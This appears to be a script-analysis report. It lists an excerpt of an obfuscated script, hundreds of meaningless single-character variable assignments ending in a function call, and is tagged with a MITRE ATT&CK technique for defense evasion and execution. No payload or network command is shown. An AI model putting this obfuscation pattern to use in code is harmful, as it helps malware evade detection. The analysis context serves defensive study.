306	zxcat = "q";
307	zxcat = "x";
308	zxcat = "i";
309	zxcat = "D";
310	zxcat = "D";
311	zxcat = "X";
312	zxcat = "Y";
313	zxcat = "m";
314	zxcat = "h";
315	hsrgrhwh = "C";
316	hsrgrhwh = "q";
317	hsrgrhwh = "I";
318	hsrgrhwh = "x";
319	hsrgrhwh = "m";
320	hsrgrhwh = "J";
321	hsrgrhwh = "D";
322	hsrgrhwh = "Z";
323	hsrgrhwh = "A";
324	hsrgrhwh = "R";
325	hsrgrhwh = "D";
326	hsrgrhwh = "&";
327	pvyvsttl = "q";
328	pvyvsttl = "W";
329	pvyvsttl = "z";
330	pvyvsttl = "O";
331	pvyvsttl = "J";
332	pvyvsttl = "Z";
333	pvyvsttl = "s";
334	pvyvsttl = "B";
335	pvyvsttl = "e";
336	pvyvsttl = "P";
337	pvyvsttl = "f";
338	pvyvsttl = "Z";
339	pvyvsttl = "K";
340	pvyvsttl = "a";
341	pvyvsttl = "r";
342	pvyvsttl = "b";
343	pvyvsttl = "a";
344	pvyvsttl = "Q";
345	pvyvsttl = "s";
346	pvyvsttl = "q";
347	pvyvsttl = "g";
348	kazeuhl = "F";
349	kazeuhl = "F";
350	kazeuhl = "c";
351	kazeuhl = "J";
352	kazeuhl = "Z";
353	kazeuhl = "B";
354	kazeuhl = "X";
355	kazeuhl = "T";
356	kazeuhl = "D";
357	kazeuhl = "t";
358	kazeuhl = "K";
359	kazeuhl = "K";
360	kazeuhl = "x";
361	kazeuhl = "N";
362	kazeuhl = "C";
363	kazeuhl = "R";
364	kazeuhl = "C";
365	kazeuhl = "L";
366	kazeuhl = "F";
367	kazeuhl = "T";
368	kazeuhl = "l";
369	kazeuhl = "c";
370	kazeuhl = "O";
371	kazeuhl = "K";
372	kazeuhl = "r";
373	kazeuhl = "H";
374	kazeuhl = "V";
375	kazeuhl = "Y";
376	kazeuhl = "A";
377	kazeuhl = "a";
378	kazeuhl = "k";
379	kazeuhl = "X";
380	kazeuhl = "n";
381	kazeuhl = "W";
382	kazeuhl = "o";
383	wazqzz = "g";
384	wazqzz = "C";
385	wazqzz = "P";
386	wazqzz = "X";
387	wazqzz = "A";
388	wazqzz = "m";
389	wazqzz = "d";
390	wazqzz = "q";
391	wazqzz = "k";
392	wazqzz = "V";
393	wazqzz = "M";
394	wazqzz = "J";
395	wazqzz = "o";
396	wazqzz = ".";
397	uckdzuki = "F";
398	uckdzuki = "Y";
399	uckdzuki = "m";
400	uckdzuki = "M";
401	uckdzuki = "Q";
402	uckdzuki = "G";
403	uckdzuki = "r";
404	uckdzuki = "F";
405	uckdzuki = "O";
406	uckdzuki = "u";
407	uckdzuki = "p";
408	uckdzuki = "O";
409	uckdzuki = "C";
410	uckdzuki = "a";
411	uckdzuki = "B";
412	uckdzuki = "W";
413	uckdzuki = ":";
414	uausdbcvd = "A";
415	uausdbcvd = "O";
416	uausdbcvd = "w";
417	ltvmk = "X";
418	ltvmk = "E";
419	ltvmk = "D";
420	ltvmk = "i";
421	ltvmk = "R";
422	ltvmk = "q";
423	ltvmk = "z";
424	ltvmk = "z";
425	ltvmk = "N";
426	ltvmk = "i";
427	ltvmk = "i";
428	ltvmk = "O";
429	ltvmk = "g";
430	ltvmk = "N";
431	ltvmk = "z";
432	ltvmk = "H";
433	ltvmk = "l";
434	ltvmk = "K";
435	xutfn = "x";
436	xutfn = "d";
437	xutfn = "L";
438	xutfn = "g";
439	xutfn = "q";
440	xutfn = "w";
441	xutfn = "X";
442	xutfn = "K";
443	xutfn = "V";
444	xutfn = "D";
445	xutfn = "X";
446	xutfn = "H";
447	xutfn = "O";
448	xutfn = "t";
449	xutfn = "c";
450	xutfn = "j";
451	xutfn = "V";
452	xutfn = "b";
453	cnsaqor = "L";
454	cnsaqor = "V";
455	cnsaqor = "i";
456	cnsaqor = "M";
457	cnsaqor = "I";
458	cnsaqor = "Z";
459	cnsaqor = "o";
460	cnsaqor = "f";
461	cnsaqor = "d";
462	cnsaqor = "Q";
463	cnsaqor = "g";
464	cnsaqor = "m";
465	cnsaqor = "h";
466	cnsaqor = "P";
467	cnsaqor = "o";
468	cnsaqor = "R";
469	cnsaqor = "H";
470	cnsaqor = "p";
471	cnsaqor = "M";
472	cnsaqor = "I";
473	cnsaqor = "h";
474	cnsaqor = "j";
475	cnsaqor = "j";
476	cnsaqor = "Y";
477	cnsaqor = "t";
478	cnsaqor = "s";
479	cnsaqor = "9";
480	hefyjvzh = "B";
481	hefyjvzh = "V";
482	hefyjvzh = "V";
483	hefyjvzh = "E";
484	hefyjvzh = "l";
485	hefyjvzh = "p";
486	hefyjvzh = "L";
487	hefyjvzh = "D";
488	hefyjvzh = "W";
489	hefyjvzh = "L";
490	hefyjvzh = "o";
491	hefyjvzh = "g";
492	hefyjvzh = "M";
493	hefyjvzh = "y";
494	hefyjvzh = "n";
495	hefyjvzh = "n";
496	hefyjvzh = "c";
497	hefyjvzh = "L";
498	hefyjvzh = "4";
499	fxlgik = "w";
500	fxlgik = "q";
501	fxlgik = "u";
502	fxlgik = "O";
503	fxlgik = "W";
504	fxlgik = "n";
505	fxlgik = "D";
506	fxlgik = "Z";
507	fxlgik = "b";
508	fxlgik = "O";
509	fxlgik = "R";
510	fxlgik = "U";
511	fxlgik = "D";
512	fxlgik = "T";
513	fxlgik = "U";
514	fxlgik = "V";
515	fxlgik = "U";
516	fxlgik = "H";
517	uiyrvkhi = "s";
518	uiyrvkhi = "u";
519	uiyrvkhi = "W";
520	uiyrvkhi = "Y";
521	uiyrvkhi = "S";
522	uiyrvkhi = "k";
523	uiyrvkhi = "v";
524	uiyrvkhi = "s";
525	uiyrvkhi = "v";
526	uiyrvkhi = "V";
527	uiyrvkhi = "r";
528	uiyrvkhi = "I";
529	uiyrvkhi = "J";
530	uiyrvkhi = "u";
531	uiyrvkhi = "y";
532	uiyrvkhi = "B";
533	uiyrvkhi = "w";
534	uiyrvkhi = "g";
535	uiyrvkhi = "m";
536	uiyrvkhi = "u";
537	uiyrvkhi = "W";
538	uiyrvkhi = "W";
539	uiyrvkhi = "D";
540	uiyrvkhi = "d";
541	qfumb = "m";
542	qfumb = "O";
543	qfumb = "t";
544	qfumb = "q";
545	qfumb = "k";
546	qfumb = "U";
547	qfumb = "d";
548	qfumb = "e";
549	qfumb = "N";
550	qfumb = "x";
551	qfumb = "W";
552	qfumb = "o";
553	qfumb = "t";
554	qfumb = "u";
555	qfumb = "d";
556	qfumb = "v";
557	ougqslcw = "R";
558	ougqslcw = "N";
559	ougqslcw = "N";
560	ougqslcw = "X";
561	ougqslcw = "D";
562	ougqslcw = "d";
563	ougqslcw = "a";
564	ougqslcw = "f";
565	ougqslcw = "V";
566	ougqslcw = "V";
567	ougqslcw = "w";
568	ougqslcw = "C";
569	ougqslcw = "N";
570	ougqslcw = "u";
571	ougqslcw = "A";
572	ougqslcw = "j";
573	ougqslcw = "M";
574	ougqslcw = "a";
575	ougqslcw = "n";
576	ougqslcw = "m";
577	ougqslcw = "y";
578	ougqslcw = "D";
579	ougqslcw = "F";
580	ougqslcw = "k";
581	ougqslcw = "c";
582	ougqslcw = "R";
583	ougqslcw = "w";
584	ougqslcw = "i";
585	ougqslcw = "g";
586	ougqslcw = "A";
587	ougqslcw = "e";
588	oqzngw = "c";
589	oqzngw = "L";
590	oqzngw = "v";
591	oqzngw = "u";
592	oqzngw = "H";
593	oqzngw = "D";
594	oqzngw = "J";
595	oqzngw = "@";
596	cwhxv = "F";
597	cwhxv = "k";
598	cwhxv = "a";
599	cwhxv = "z";
600	cwhxv = "F";
601	cwhxv = "R";
602	cwhxv = "m";
603	cwhxv = "n";
604	cwhxv = "W";
605	cwhxv = "z";
606	cwhxv = "k";
607	cwhxv = "b";
608	cwhxv = "R";
609	cwhxv = "G";
610	cwhxv = "u";
611	cwhxv = "d";
612	cwhxv = "v";
613	cwhxv = "C";
614	cwhxv = "U";
615	cwhxv = "m";
616	cwhxv = "5";
617	glptrnred = "y";
618	glptrnred = "Y";
619	glptrnred = "m";
620	glptrnred = "w";
621	glptrnred = "y";
622	glptrnred = "H";
623	glptrnred = "O";
624	glptrnred = "s";
625	glptrnred = "r";
626	glptrnred = "L";
627	glptrnred = "s";
628	glptrnred = "g";
629	glptrnred = "p";
630	glptrnred = "A";
631	glptrnred = "I";
632	glptrnred = "H";
633	glptrnred = "b";
634	glptrnred = "x";
635	glptrnred = "s";
636	glptrnred = "d";
637	glptrnred = "x";
638	glptrnred = "J";
639	glptrnred = "B";
640	glptrnred = "T";
641	glptrnred = "S";
642	glptrnred = "b";
643	glptrnred = "L";
644	glptrnred = "H";
645	glptrnred = "g";
646	glptrnred = "i";
647	glptrnred = "I";
648	glptrnred = "T";
649	glptrnred = "c";
650	glptrnred = "d";
651	glptrnred = "C";
652	glptrnred = "x";
653	glptrnred = "N";
654	glptrnred = "T";
655	glptrnred = "w";
656	glptrnred = "J";
657	glptrnred = "V";
658	glptrnred = "L";
659	glptrnred = "F";
660	devgrcv = "t";
661	devgrcv = "x";
662	devgrcv = "O";
663	devgrcv = "u";
664	devgrcv = "E";
665	devgrcv = "x";
666	devgrcv = "w";
667	devgrcv = "p";
668	devgrcv = "N";
669	devgrcv = "I";
670	etzpfc = "H";
671	etzpfc = "L";
672	etzpfc = "W";
673	etzpfc = "M";
674	etzpfc = "x";
675	etzpfc = "b";
676	etzpfc = "w";
677	etzpfc = "i";
678	etzpfc = "N";
679	etzpfc = "o";
680	etzpfc = "K";
681	etzpfc = "T";
682	etzpfc = "o";
683	etzpfc = "K";
684	etzpfc = "s";
685	etzpfc = "i";
686	etzpfc = "c";
687	etzpfc = "q";
688	etzpfc = "P";
689	etzpfc = "Q";
690	etzpfc = "J";
691	etzpfc = "U";
692	zqstwgd = "g";
693	zqstwgd = "I";
694	zqstwgd = "b";
695	zqstwgd = "b";
696	zqstwgd = "O";
697	zqstwgd = "J";
698	zqstwgd = "u";
699	zqstwgd = "W";
700	zqstwgd = "C";
701	zqstwgd = "u";
702	zqstwgd = "T";
703	zqstwgd = "e";
704	zqstwgd = "Z";
705	zqstwgd = "H";
706	zqstwgd = "U";
707	zqstwgd = "V";
708	zqstwgd = "m";
709	zqstwgd = "T";
710	zqstwgd = "l";
711	zqstwgd = "i";
712	zqstwgd = "a";
713	zqstwgd = "M";
714	zqstwgd = "A";
715	zqstwgd = "A";
716	zqstwgd = "U";
717	zqstwgd = "o";
718	zqstwgd = "l";
719	zqstwgd = "m";
720	zqstwgd = "I";
721	zqstwgd = "g";
722	zqstwgd = "U";
723	zqstwgd = "k";
724	zqstwgd = "L";
725	zqstwgd = "Y";
726	zqstwgd = "g";
727	zqstwgd = "G";
728	zqstwgd = "G";
729	zqstwgd = "V";
730	zqstwgd = "K";
731	zqstwgd = "J";
732	zqstwgd = "e";
733	zqstwgd = "6";
734	chxvlgovf = "M";
735	chxvlgovf = "c";
736	chxvlgovf = "g";
737	chxvlgovf = "u";
738	chxvlgovf = "b";
739	chxvlgovf = "L";
740	chxvlgovf = "o";
741	chxvlgovf = "k";
742	chxvlgovf = "b";
743	chxvlgovf = "X";
744	chxvlgovf = "R";
745	qvrpo = "n";
746	qvrpo = "U";
747	qvrpo = "R";
748	qvrpo = "L";
749	qvrpo = "B";
750	qvrpo = "b";
751	qvrpo = "X";
752	qvrpo = "q";
753	qvrpo = "M";
754	qvrpo = "s";
755	qvrpo = "q";
756	qvrpo = "L";
757	gnjvf = "w";
758	gnjvf = "p";
759	gnjvf = "D";
760	gnjvf = "u";
761	gnjvf = "F";
762	gnjvf = "P";
763	gnjvf = "w";
764	gnjvf = "q";
765	gnjvf = "E";
766	gnjvf = "U";
767	gnjvf = "h";
768	gnjvf = "m";
769	gnjvf = "J";
770	gnjvf = "l";
771	gnjvf = "h";
772	gnjvf = "S";
773	gnjvf = "h";
774	gnjvf = "X";
775	gnjvf = "a";
776	gnjvf = "B";
777	gnjvf = "a";
778	gnjvf = "U";
779	gnjvf = "f";
780	gnjvf = "w";
781	gnjvf = "j";
782	gnjvf = "F";
783	gnjvf = "m";
784	gnjvf = "D";
785	gnjvf = "n";
786	gnjvf = "X";
787	gnjvf = "P";
788	gnjvf = "Q";
789	gnjvf = "i";
790	dmljj = "q";
791	dmljj = "C";
792	dmljj = "I";
793	dmljj = "F";
794	dmljj = "L";
795	dmljj = "Q";
796	dmljj = "v";
797	dmljj = "Z";
798	dmljj = "m";
799	dmljj = "N";
800	dmljj = "K";
801	dmljj = "Z";
802	dmljj = "V";
803	dmljj = "L";
804	dmljj = "Z";
805	dmljj = "N";
806	dmljj = "J";
807	dmljj = "k";
808	dmljj = "i";
809	dmljj = "Y";
810	dmljj = "n";
811	dmljj = "f";
812	dmljj = "B";
813	dmljj = "c";
814	dmljj = "S";
815	dmljj = "w";
816	dmljj = "c";
817	dmljj = "a";
818	dmljj = "B";
819	dmljj = "l";
820	dmljj = "V";
821	dmljj = "x";
822	dmljj = "G";
823	dmljj = "O";
824	dmljj = "Q";
825	dmljj = "A";
826	dmljj = "L";
827	dmljj = "s";
828	ltmdmsfgn = "u";
829	ltmdmsfgn = "d";
830	ltmdmsfgn = "s";
831	ltmdmsfgn = "Q";
832	ltmdmsfgn = "S";
833	ltmdmsfgn = "W";
834	ltmdmsfgn = "n";
835	iarrpxq = "S";
836	iarrpxq = "k";
837	iarrpxq = "A";
838	iarrpxq = "l";
839	iarrpxq = "z";
840	iarrpxq = "X";
841	iarrpxq = "M";
842	iarrpxq = "O";
843	iarrpxq = "I";
844	iarrpxq = "y";
845	iarrpxq = "h";
846	iarrpxq = "L";
847	iarrpxq = "c";
848	iarrpxq = "U";
849	iarrpxq = "I";
850	iarrpxq = "X";
851	iarrpxq = "X";
852	iarrpxq = "j";
853	iarrpxq = "q";
854	iarrpxq = "O";
855	iarrpxq = "o";
856	iarrpxq = "O";
857	iarrpxq = "U";
858	iarrpxq = "X";
859	iarrpxq = "f";
860	iarrpxq = "Y";
861	iarrpxq = "E";
862	iarrpxq = "3";
863	aepphc = "f";
864	aepphc = "e";
865	aepphc = "G";
866	aepphc = "S";
867	aepphc = "R";
868	aepphc = "K";
869	aepphc = "f";
870	aepphc = "P";
871	aepphc = "r";
872	aepphc = "g";
873	aepphc = "x";
874	aepphc = "H";
875	aepphc = "L";
876	aepphc = "W";
877	aepphc = "C";
878	aepphc = "V";
879	aepphc = "R";
880	aepphc = "R";
881	aepphc = "i";
882	aepphc = "v";
883	aepphc = "N";
884	aepphc = "E";
885	jdcvqiiiq = "e";
886	jdcvqiiiq = "j";
887	jdcvqiiiq = "j";
888	jdcvqiiiq = "q";
889	jdcvqiiiq = "O";
890	jdcvqiiiq = "I";
891	jdcvqiiiq = "f";
892	jdcvqiiiq = "L";
893	jdcvqiiiq = "T";
894	jdcvqiiiq = "K";
895	jdcvqiiiq = "Y";
896	jdcvqiiiq = "v";
897	jdcvqiiiq = "x";
898	jdcvqiiiq = "Z";
899	jdcvqiiiq = "C";
900	jdcvqiiiq = "p";
901	jdcvqiiiq = "J";
902	jdcvqiiiq = "F";
903	jdcvqiiiq = "_";
904	xzbpli = "U";
905	xzbpli = "d";
906	xzbpli = "s";
907	xzbpli = "L";
908	xzbpli = "o";
909	xzbpli = "\\";
910	yumajye = "I";
911	yumajye = "X";
912	yumajye = "G";
913	yumajye = "B";
914	yumajye = "I";
915	yumajye = "l";
916	yumajye = "N";
917	yumajye = "A";
918	yumajye = "y";
919	yumajye = "C";
920	yumajye = "B";
921	yumajye = "Z";
922	yumajye = "X";
923	yumajye = "k";
924	yumajye = "a";
925	yumajye = "R";
926	yumajye = "B";
927	yumajye = "P";
928	yumajye = "V";
929	yumajye = "E";
930	yumajye = "o";
931	yumajye = "h";
932	yumajye = "z";
933	yumajye = "Z";
934	yumajye = "x";
935	yumajye = "v";
936	yumajye = "W";
937	yumajye = "q";
938	yumajye = "W";
939	yumajye = "W";
940	yumajye = "G";
941	yumajye = "r";
942	yumajye = "y";
943	yumajye = "K";
944	yumajye = "Q";
945	yumajye = "A";
946	yumajye = "G";
947	yumajye = "O";
948	yumajye = "k";
949	yumajye = "Q";
950	yumajye = "z";
951	yumajye = "l";
952	zpxznsab = "m";
953	zpxznsab = "b";
954	zpxznsab = "d";
955	zpxznsab = "o";
956	zpxznsab = "R";
957	zpxznsab = "V";
958	zpxznsab = "f";
959	zpxznsab = "B";
960	zpxznsab = "p";
961	zpxznsab = "g";
962	zpxznsab = "R";
963	zpxznsab = "G";
964	zpxznsab = "G";
965	zpxznsab = "B";
966	zpxznsab = "k";
967	zpxznsab = "W";
968	zpxznsab = "N";
969	zpxznsab = "i";
970	zpxznsab = "i";
971	zpxznsab = "b";
972	zpxznsab = "Q";
973	zpxznsab = "Y";
974	zpxznsab = "D";
975	zpxznsab = "U";
976	zpxznsab = "N";
977	zpxznsab = "u";
978	zpxznsab = "r";
979	zpxznsab = "M";
980	zpxznsab = "Z";
981	zpxznsab = "f";
982	zpxznsab = "O";
983	zpxznsab = "P";
984	zpxznsab = "T";
985	oocofnu = "q";
986	oocofnu = "x";
987	oocofnu = "V";
988	oocofnu = "p";
989	oocofnu = "r";
990	oocofnu = "l";
991	oocofnu = "q";
992	oocofnu = "d";
993	oocofnu = "j";
994	oocofnu = "k";
995	oocofnu = "I";
996	oocofnu = "U";
997	oocofnu = "d";
998	oocofnu = "X";
999	oocofnu = "Q";
1000	oocofnu = "i";
1001	oocofnu = "k";
1002	vjith = "e";
1003	vjith = "Y";
1004	vjith = "T";
1005	vjith = "N";
1006	vjith = "W";
1007	vjith = "b";
1008	vjith = "W";
1009	vjith = "s";
1010	vjith = "N";
1011	vjith = "Y";
1012	vjith = "X";
1013	vjith = "Q";
1014	vjith = "L";
1015	vjith = "N";
1016	vjith = "s";
1017	vjith = "u";
1018	vjith = "N";
1019	simbok = "H";
1020	simbok = "P";
1021	simbok = "L";
1022	simbok = "q";
1023	simbok = "U";
1024	simbok = "n";
1025	simbok = "R";
1026	simbok = "W";
1027	simbok = "Q";
1028	simbok = "I";
1029	simbok = "L";
1030	simbok = "J";
1031	simbok = "B";
1032	simbok = "v";
1033	simbok = "Z";
1034	simbok = "Z";
1035	simbok = "U";
1036	simbok = "y";
1037	simbok = "S";
1038	simbok = "C";
1039	simbok = "T";
1040	simbok = "f";
1041	simbok = "k";
1042	simbok = "G";
1043	simbok = "N";
1044	simbok = "Y";
1045	simbok = "e";
1046	simbok = "w";
1047	simbok = "L";
1048	simbok = "E";
1049	simbok = "C";
1050	simbok = "T";
1051	simbok = "X";
1052	simbok = "G";
1053	simbok = "O";
1054	simbok = "M";
1055	simbok = "b";
1056	simbok = "w";
1057	simbok = "k";
1058	simbok = "D";
1059	simbok = "J";
1060	simbok = "O";
1061	simbok = "h";
1062	simbok = "Q";
1063	mpski = "i";
1064	mpski = "r";
1065	mpski = "u";
1066	mpski = "X";
1067	mpski = "J";
1068	mpski = "I";
1069	mpski = "g";
1070	mpski = "o";
1071	mpski = "W";
1072	mpski = "C";
1073	mpski = "z";
1074	mpski = "S";
1075	mpski = "N";
1076	mpski = "M";
1077	mpski = "w";
1078	mpski = "j";
1079	mpski = "c";
1080	mpski = "y";
1081	mpski = "P";
1082	mpski = "d";
1083	mpski = "V";
1084	mpski = "D";
1085	mpski = "O";
1086	mpski = "u";
1087	mpski = "h";
1088	mpski = "g";
1089	mpski = "A";
1090	mpski = "C";
1091	mpski = "p";
1092	mpski = "Y";
1093	mpski = "p";
1094	mpski = "m";
1095	mpski = "Y";
1096	mpski = "s";
1097	mpski = "O";
1098	mpski = "i";
1099	mpski = "R";
1100	mpski = "m";
1101	mpski = "m";
1102	mpski = "w";
1103	mpski = "0";
1104	hiigikcw = "M";
1105	hiigikcw = "X";
1106	hiigikcw = "b";
1107	hiigikcw = "m";
1108	hiigikcw = "Q";
1109	hiigikcw = "O";
1110	hiigikcw = "H";
1111	hiigikcw = "f";
1112	hiigikcw = "P";
1113	zekdppkw = "A";
1114	zekdppkw = "D";
1115	zekdppkw = "F";
1116	zekdppkw = "A";
1117	zekdppkw = "R";
1118	zekdppkw = "A";
1119	zekdppkw = "j";
1120	zekdppkw = "H";
1121	zekdppkw = "I";
1122	zekdppkw = "r";
1123	zekdppkw = "d";
1124	zekdppkw = "b";
1125	zekdppkw = "h";
1126	zekdppkw = "D";
1127	zekdppkw = "R";
1128	zekdppkw = "s";
1129	zekdppkw = "O";
1130	zekdppkw = "F";
1131	zekdppkw = "S";
1132	zekdppkw = "b";
1133	zekdppkw = "f";
1134	zekdppkw = "p";
1135	zekdppkw = "O";
1136	zekdppkw = "N";
1137	zekdppkw = "q";
1138	bohqoe = "u";
1139	bohqoe = "W";
1140	bohqoe = "i";
1141	bohqoe = "z";
1142	bohqoe = "i";
1143	bohqoe = "b";
1144	bohqoe = "B";
1145	bohqoe = "m";
1146	bohqoe = "Y";
1147	bohqoe = "t";
1148	bohqoe = "s";
1149	bohqoe = "R";
1150	bohqoe = "r";
1151	bohqoe = "l";
1152	bohqoe = "V";
1153	bohqoe = "U";
1154	bohqoe = "X";
1155	bohqoe = "H";
1156	bohqoe = "W";
1157	bohqoe = "I";
1158	bohqoe = "f";
1159	bohqoe = "u";
1160	bohqoe = "p";
1161	bohqoe = "Q";
1162	bohqoe = "Z";
1163	bohqoe = "p";
1164	bohqoe = "D";
1165	bohqoe = "U";
1166	bohqoe = "O";
1167	togkhnhfs = "P";
1168	togkhnhfs = "G";
1169	togkhnhfs = "S";
1170	togkhnhfs = "Q";
1171	togkhnhfs = "Q";
1172	togkhnhfs = "Y";
1173	togkhnhfs = "n";
1174	togkhnhfs = "A";
1175	togkhnhfs = "R";
1176	togkhnhfs = "s";
1177	togkhnhfs = "P";
1178	togkhnhfs = "p";
1179	togkhnhfs = "w";
1180	togkhnhfs = "K";
1181	togkhnhfs = "C";
1182	togkhnhfs = "m";
1183	togkhnhfs = "T";
1184	togkhnhfs = "w";
1185	togkhnhfs = "T";
1186	togkhnhfs = "l";
1187	togkhnhfs = "n";
1188	togkhnhfs = "N";
1189	togkhnhfs = "j";
1190	togkhnhfs = "v";
1191	togkhnhfs = "y";
1192	togkhnhfs = "V";
1193	togkhnhfs = "w";
1194	togkhnhfs = "w";
1195	togkhnhfs = "j";
1196	togkhnhfs = "p";
1197	togkhnhfs = "u";
1198	togkhnhfs = "B";
1199	togkhnhfs = "i";
1200	togkhnhfs = "s";
1201	togkhnhfs = "Q";
1202	togkhnhfs = "K";
1203	togkhnhfs = "R";
1204	togkhnhfs = "j";
1205	emsohdx = "v";
1206	emsohdx = "A";
1207	emsohdx = "L";
1208	emsohdx = "R";
1209	emsohdx = "v";
1210	emsohdx = "w";
1211	emsohdx = "f";
1212	emsohdx = "e";
1213	emsohdx = "T";
1214	emsohdx = "y";
1215	emsohdx = "K";
1216	emsohdx = "h";
1217	emsohdx = "D";
1218	emsohdx = "R";
1219	emsohdx = "R";
1220	emsohdx = "s";
1221	emsohdx = "c";
1222	emsohdx = "z";
1223	emsohdx = "J";
1224	emsohdx = "Q";
1225	emsohdx = "y";
1226	emsohdx = "H";
1227	emsohdx = "c";
1228	emsohdx = "k";
1229	emsohdx = "Z";
1230	emsohdx = "C";
1231	emsohdx = "T";
1232	emsohdx = "m";
1233	emsohdx = "G";
1234	emsohdx = "N";
1235	emsohdx = "w";
1236	emsohdx = "P";
1237	emsohdx = "g";
1238	emsohdx = "H";
1239	emsohdx = "k";
1240	emsohdx = "f";
1241	crmjns = "P";
1242	crmjns = "A";
1243	crmjns = "C";
1244	kcsjwh = "v";
1245	kcsjwh = "c";
1246	kcsjwh = "C";
1247	kcsjwh = "E";
1248	kcsjwh = "M";
1249	kcsjwh = "T";
1250	kcsjwh = "n";
1251	kcsjwh = "b";
1252	kcsjwh = "Y";
1253	orltlf = "a";
1254	orltlf = "l";
1255	orltlf = "v";
1256	orltlf = "z";
1257	orltlf = "w";
1258	orltlf = "C";
1259	orltlf = "U";
1260	orltlf = "V";
1261	orltlf = "d";
1262	orltlf = "Q";
1263	orltlf = "M";
1264	orltlf = "d";
1265	orltlf = "D";
1266	orltlf = "z";
1267	orltlf = "F";
1268	orltlf = "S";
1269	orltlf = "b";
1270	orltlf = "O";
1271	orltlf = "k";
1272	orltlf = "K";
1273	orltlf = "y";
1274	orltlf = "s";
1275	orltlf = "B";
1276	orltlf = "s";
1277	orltlf = "z";
1278	orltlf = "r";
1279	orltlf = "X";
1280	orltlf = "e";
1281	orltlf = "-";
1282	zhyapahdo = "W";
1283	zhyapahdo = "D";
1284	zhyapahdo = "k";
1285	zhyapahdo = "Z";
1286	zhyapahdo = "N";
1287	zhyapahdo = "g";
1288	zhyapahdo = "e";
1289	zhyapahdo = "t";
1290	zhyapahdo = "L";
1291	zhyapahdo = "R";
1292	zhyapahdo = "W";
1293	zhyapahdo = "X";
1294	zhyapahdo = "E";
1295	zhyapahdo = "r";
1296	zhyapahdo = "w";
1297	zhyapahdo = "x";
1298	zhyapahdo = "T";
1299	zhyapahdo = "p";
1300	zhyapahdo = "t";
1301	zhyapahdo = "s";
1302	zhyapahdo = "z";
1303	zhyapahdo = "H";
1304	zhyapahdo = "v";
1305	zhyapahdo = "p";
1306	zhyapahdo = "T";
1307	zhyapahdo = "k";
1308	zhyapahdo = "i";
1309	zhyapahdo = "P";
1310	zhyapahdo = "M";
1311	zhyapahdo = "q";
1312	zhyapahdo = "o";
1313	zhyapahdo = "K";
1314	zhyapahdo = "Y";
1315	zhyapahdo = "R";
1316	zhyapahdo = "t";
1317	zhyapahdo = "b";
1318	zhyapahdo = "d";
1319	zhyapahdo = "z";
1320	zhyapahdo = "E";
1321	zhyapahdo = "F";
1322	zhyapahdo = "q";
1323	zhyapahdo = " ";
1324	ogilybj = "p";
1325	ogilybj = "n";
1326	ogilybj = "u";
1327	ogilybj = "g";
1328	ogilybj = "Q";
1329	ogilybj = "m";
1330	ogilybj = "S";
1331	ogilybj = "e";
1332	ogilybj = "K";
1333	ogilybj = "e";
1334	ogilybj = "L";
1335	ogilybj = "D";
1336	ogilybj = "Q";
1337	ogilybj = "z";
1338	ogilybj = "G";
1339	ogilybj = "f";
1340	ogilybj = "Y";
1341	ogilybj = "N";
1342	ogilybj = "y";
1343	ogilybj = "r";
1344	ogilybj = "B";
1345	ogilybj = "N";
1346	ogilybj = "s";
1347	ogilybj = "h";
1348	ogilybj = "v";
1349	ogilybj = "p";
1350	ogilybj = "k";
1351	ogilybj = "x";
1352	ogilybj = "T";
1353	ogilybj = "r";
1354	ogilybj = "n";
1355	ogilybj = "p";
1356	ogilybj = "F";
1357	ogilybj = "s";
1358	ogilybj = "u";
1359	ogilybj = "R";
1360	ogilybj = "B";
1361	ogilybj = "g";
1362	ogilybj = "\"";
1363	zhuowvq = "l";
1364	zhuowvq = "P";
1365	zhuowvq = "P";
1366	zhuowvq = "B";
1367	zhuowvq = "H";
1368	zhuowvq = "j";
1369	zhuowvq = "X";
1370	zhuowvq = "x";
1371	zhuowvq = "i";
1372	zhuowvq = "D";
1373	zhuowvq = "E";
1374	zhuowvq = "g";
1375	zhuowvq = "f";
1376	zhuowvq = "l";
1377	zhuowvq = "j";
1378	zhuowvq = "M";
1379	zhuowvq = "W";
1380	zhuowvq = "Y";
1381	zhuowvq = "d";
1382	zhuowvq = "W";
1383	zhuowvq = "m";
1384	zhuowvq = "p";
1385	zhuowvq = "c";
1386	kbrrg = "s";
1387	kbrrg = "t";
1388	kbrrg = "m";
1389	kbrrg = "Q";
1390	kbrrg = "u";
1391	kbrrg = "j";
1392	kbrrg = "y";
1393	kbrrg = "U";
1394	kbrrg = "Z";
1395	kbrrg = "S";
1396	kbrrg = "m";
1397	kbrrg = "Q";
1398	kbrrg = "V";
1399	kbrrg = "v";
1400	kbrrg = "y";
1401	kbrrg = "m";
1402	kbrrg = "a";
1403	kbrrg = "E";
1404	kbrrg = "S";
1405	kbrrg = "h";
1406	kbrrg = "c";
1407	kbrrg = "E";
1408	kbrrg = "8";
1409	kpncyt = "a";
1410	kpncyt = "Y";
1411	kpncyt = "q";
1412	kpncyt = "O";
1413	kpncyt = "f";
1414	kpncyt = "o";
1415	kpncyt = "K";
1416	kpncyt = "S";
1417	kpncyt = "t";
1418	kpncyt = "y";
1419	kpncyt = "J";
1420	kpncyt = "C";
1421	kpncyt = "P";
1422	kpncyt = "h";
1423	kpncyt = "z";
1424	kpncyt = "J";
1425	kpncyt = "h";
1426	kpncyt = "i";
1427	kpncyt = "P";
1428	kpncyt = "h";
1429	kpncyt = "c";
1430	kpncyt = "W";
1431	kpncyt = "L";
1432	kpncyt = "i";
1433	kpncyt = "g";
1434	kpncyt = "e";
1435	kpncyt = "p";
1436	kpncyt = "M";
1437	kpncyt = "G";
1438	kpncyt = "i";
1439	kpncyt = "Q";
1440	kpncyt = "f";
1441	kpncyt = "R";
1442	kpncyt = "K";
1443	kpncyt = "r";
1444	kpncyt = "G";
1445	kpncyt = "Q";
1446	kpncyt = "T";
1447	kpncyt = "U";
1448	kpncyt = "G";
1449	kpncyt = "t";
1450	ehgqi = "k";
1451	ehgqi = "V";
1452	ehgqi = "y";
1453	ehgqi = "u";
1454	ehgqi = "P";
1455	ehgqi = "a";
1456	ehgqi = "Q";
1457	ehgqi = "V";
1458	ehgqi = "a";
1459	nnvyhtpjj ( );	nnvyhtpjj() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

